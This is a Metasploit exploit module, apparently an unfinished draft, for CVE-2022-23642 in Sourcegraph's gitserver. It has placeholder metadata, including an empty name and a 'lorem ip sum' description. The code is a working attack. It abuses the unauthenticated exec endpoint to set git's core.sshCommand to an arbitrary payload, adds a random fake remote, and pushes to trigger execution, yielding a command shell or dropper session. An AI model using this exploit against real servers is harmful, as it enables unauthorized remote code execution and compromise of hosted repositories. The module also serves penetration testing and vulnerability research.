metasploit-gs/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => '',
        'Description' => %q{
          lorem ip sum blah blah
        },
        'Author' => [
          'Altelus1', # github PoC
          'Spencer McIntyre' # metasploit module
        ],
        'References' => [
          ['CVE', '2022-23642'],
          ['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'],
          ['URL', 'https://github.com/Altelus1/CVE-2022-23642'],
        ],
        'DisclosureDate' => '2022-02-18', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory
            },
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            },
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 3178
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository'])
    ])
  end

  def check
    begin
      cloned_repos = send_request_list
    rescue RuntimeError => e
      return CheckCode::Unknown(e.message)
    end

    if cloned_repos.empty?
      vprint_warning('There must be at least 1 cloned repo to be exploitable.')
      return CheckCode::Detected
    end

    res = send_request_exec(cloned_repos.sample, ['config', 'core.sshCommand', 'fake'])
    if res && res.body =~ /^X-Exec-Exit-Status: 0/
      return CheckCode::Vulnerable('Successfully set core.sshCommand.')
    end

    CheckCode::Safe('Failed to set core.sshCommand.')
  end

  def exploit
    if datastore['EXISTING_REPO'].blank?
      existing_repo = send_request_list.sample
      print_status("Using automatically identified repository: #{existing_repo}")
    else
      existing_repo = datastore['EXISTING_REPO']
    end

    # validate that the repo exists, if it was automatically determined ensure at least one is present

    print_status("Executing #{target.name} target")

    case target['Type']
    when :unix_memory
      execute_command(payload.encoded, 'repo' => existing_repo)
    when :linux_dropper
      execute_cmdstager('repo' => existing_repo)
    end
  end

  def send_request_exec(repo, args, timeout = 20)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'exec'),
      'method' => 'POST',
      'data' => {
        'Repo' => repo,
        'Args' => args
      }.to_json
    }, timeout)

    res
  end

  def send_request_list
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'list'),
      'method' => 'GET',
      'vars_get' => { 'cloned' => 'true' }
    })
    fail_with(Failure::Unreachable, 'No server response.') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to list repositories.') unless res.code == 200 && res.get_json_document.is_a?(Array)

    res.get_json_document
  end

  def execute_command(cmd, opts = {})
    repo = opts['repo']

    vprint_status('Setting the sshCommand')
    res = send_request_exec(repo, ['config', 'core.sshCommand', cmd])
    fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') unless res&.code == 200

    vprint_status('Setting a fake origin')
    # TODO: check if this can be set fewer times
    origin = Rex::Text.rand_text_alphanumeric(rand(4..11))
    send_request_exec(repo, ['remote', 'add', origin, "git@#{Rex::Text.rand_text_alphanumeric(rand(4..11))}:#{Rex::Text.rand_text_alphanumeric(rand(4..11))}.git"])
    fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') unless res&.code == 200

    vprint_status('Triggering command using push')
    send_request_exec(repo, ['push', origin, 'master'], 5)

    send_request_exec(repo, ['remote', 'remove', origin])
  end

end